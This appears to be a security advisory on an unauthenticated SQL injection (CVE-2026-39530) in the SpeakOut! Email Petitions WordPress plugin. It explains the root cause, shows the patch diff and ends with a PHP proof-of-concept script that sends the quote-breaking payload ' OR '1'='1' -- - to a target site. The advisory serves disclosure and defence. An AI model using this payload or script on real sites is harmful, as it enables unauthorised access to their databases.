Atomic Edge analysis of CVE-2026-39530:
The SpeakOut! Email Petitions plugin for WordPress (versions up to and including 4.6.5) contains an unauthenticated SQL injection vulnerability in the signature confirmation functionality. The plugin directly interpolates user-supplied confirmation codes into SQL queries without proper sanitization or parameterized queries, allowing unauthenticated attackers to extract sensitive database contents.
The root cause exists in the `confirm()` method within `/wp-content/plugins/speakout/includes/class.signature.php` (lines 184-199). The `$_REQUEST[‘dkspeakoutconfirm’]` parameter passes through `confirmations.php` into the `$confirmation_code` variable, which is then directly embedded into a SQL query string: `SELECT id FROM $db_signatures WHERE ‘confirmation_code’ = ‘$confirmation_code’ AND ‘is_confirmed’ = 1`. There is no input sanitization beyond `sanitize_text_field()` in the original code, and the query uses string interpolation rather than prepared statements.
An attacker can exploit this by sending a crafted HTTP GET request to the confirmation URL endpoint, which triggers the `dk_speakout_confirm_email` action. The vulnerable parameter is `dkspeakoutconfirm`. By injecting a single quote followed by SQL operators like `OR ‘1’=’1`, an attacker can manipulate the query logic. A payload such as `’ OR ‘1’=’1′ — -` would bypass the confirmation check and potentially allow further UNION-based data extraction.
The patch addresses the vulnerability by first sanitizing the input with `sanitize_key()` (which strips all but alphanumeric characters, underscores, and hyphens), then checking for an empty result. The SQL query is replaced with a parameterized prepared statement using `$wpdb->prepare()`, which safely escapes the confirmation code. Additionally, the patch adds an early failure function `_fail_early()` in `confirmations.php` that invalidates requests with empty or malformed confirmation codes before reaching the database query.
Successful exploitation of this SQL injection could allow an attacker to extract sensitive information from the WordPress database, including user credentials, email addresses, petition signatures, and other stored data. While the CVSS score of 7.5 indicates high severity, the potential for complete database compromise makes this a critical issue requiring immediate patching for all active installations.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/speakout/includes/class.signature.php
+++ b/speakout/includes/class.signature.php
@@ -184,19 +184,16 @@
{
global $wpdb, $db_signatures;
- $sql = "
- SELECT id
- FROM $db_signatures
- WHERE `confirmation_code` = '$confirmation_code' AND `is_confirmed` = 1
- ";
- $query_results = $wpdb->get_row( $sql );
-
- if ( $wpdb->num_rows > 0 ) {
- return true;
- }
- else {
+ $conf_code = sanitize_key($confirmation_code);
+ if (empty($conf_code)){
return false;
}
+ $wpdb->get_row(
+ $wpdb->prepare(
+ "SELECT id FROM $db_signatures WHERE `confirmation_code` = %s AND `is_confirmed` = 1", $conf_code)
+ );
+
+ return ($wpdb->num_rows > 0);
}
/**
@@ -210,16 +207,15 @@
global $wpdb, $db_signatures;
$data = array( 'is_confirmed' => 1 );
- $where = array( 'confirmation_code' => $confirmation_code );
+ $conf_code = sanitize_key($confirmation_code);
+ if (empty($conf_code)){
+ return false;
+ }
+ $where = array( 'confirmation_code' => $conf_code );
$rows_affected = $wpdb->update( $db_signatures, $data, $where );
+ return ($rows_affected > 0);
- if ( $rows_affected > 0 ) {
- return true;
- }
- else {
- return false;
- }
}
/**
--- a/speakout/includes/confirmations.php
+++ b/speakout/includes/confirmations.php
@@ -9,6 +9,12 @@
add_action( 'template_redirect', 'dk_speakout_confirm_email' );
}
+function _fail_early() {
+ $message = __( 'The confirmation code you provided is invalid.', 'speakout' );
+ echo $message;
+ die;
+}
+
/**
* Displays the confirmation page
*/
@@ -27,11 +33,16 @@
$options = get_option( 'dk_speakout_options' );
$wpml = new dk_speakout_WPML();
- // get the confirmation code from url
- $confirmation_code = sanitize_text_field( wp_unslash( $_REQUEST['dkspeakoutconfirm'] ) );
-
- // try to confirm the signature
- $try_confirm = $the_signature->confirm( $confirmation_code );
+ // get the confirmation code from url
+ $confirmation_code = isset($_REQUEST['dkspeakoutconfirm'])
+ ? sanitize_key(wp_unslash($_REQUEST['dkspeakoutconfirm'])) : '';
+ if (empty( $confirmation_code )) {
+ _fail_early();
+ }
+ $try_confirm = $the_signature->confirm( $confirmation_code );
+ if (!( $try_confirm )) {
+ _fail_early();
+ }
// retrieve the petition data
$the_petition->retrieve( $the_signature->petitions_id );
--- a/speakout/speakout-email-petitions.php
+++ b/speakout/speakout-email-petitions.php
@@ -15,7 +15,7 @@
License: GPL v2 or later
License URI: https://www.gnu.org/licenses/gpl-2.0.html
-Version: 4.6.5
+Version: 4.6.5.1
{Plugin Name} is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -31,7 +31,7 @@
*/
global $wpdb, $db_petitions, $db_signatures, $dk_speakout_version;
-$dk_speakout_version = '4.6.5';
+$dk_speakout_version = '4.6.5.1';
$db_petitions = $wpdb->prefix . 'dk_speakout_petitions';
$db_signatures = $wpdb->prefix . 'dk_speakout_signatures';
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-39530 - SpeakOut! Email Petitions <= 4.6.5 - Unauthenticated SQL Injection
// Configuration - set the target WordPress site URL
$target_url = 'http://example.com';
// The vulnerable parameter is 'dkspeakoutconfirm' in the query string
// This triggers the confirm() method in class.signature.php
// Craft a malicious payload that breaks out of the string context
// Original query: SELECT id FROM table WHERE `confirmation_code` = '$input' AND `is_confirmed` = 1
// Payload: ' OR '1'='1' -- -
// Result: SELECT id FROM table WHERE `confirmation_code` = '' OR '1'='1' -- -' AND `is_confirmed` = 1
$payload = urlencode("' OR '1'='1' -- -");
$exploit_url = $target_url . '/?dkspeakoutconfirm=' . $payload;
echo "[+] Sending exploit request to: " . $exploit_url . "n";
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// If the query is vulnerable, the SQL injection will force a true condition
// The plugin will show the confirmation page or a different response
// than the invalid code message
if ($http_code == 200) {
echo "[+] Request completed with HTTP 200 - the target appears vulnerable.n";
echo "[+] The SQL injection altered the query logic.n";
} else {
echo "[-] HTTP code: " . $http_code . " - target may not be vulnerable.n";
}
echo "[+] Proof of concept complete.n";
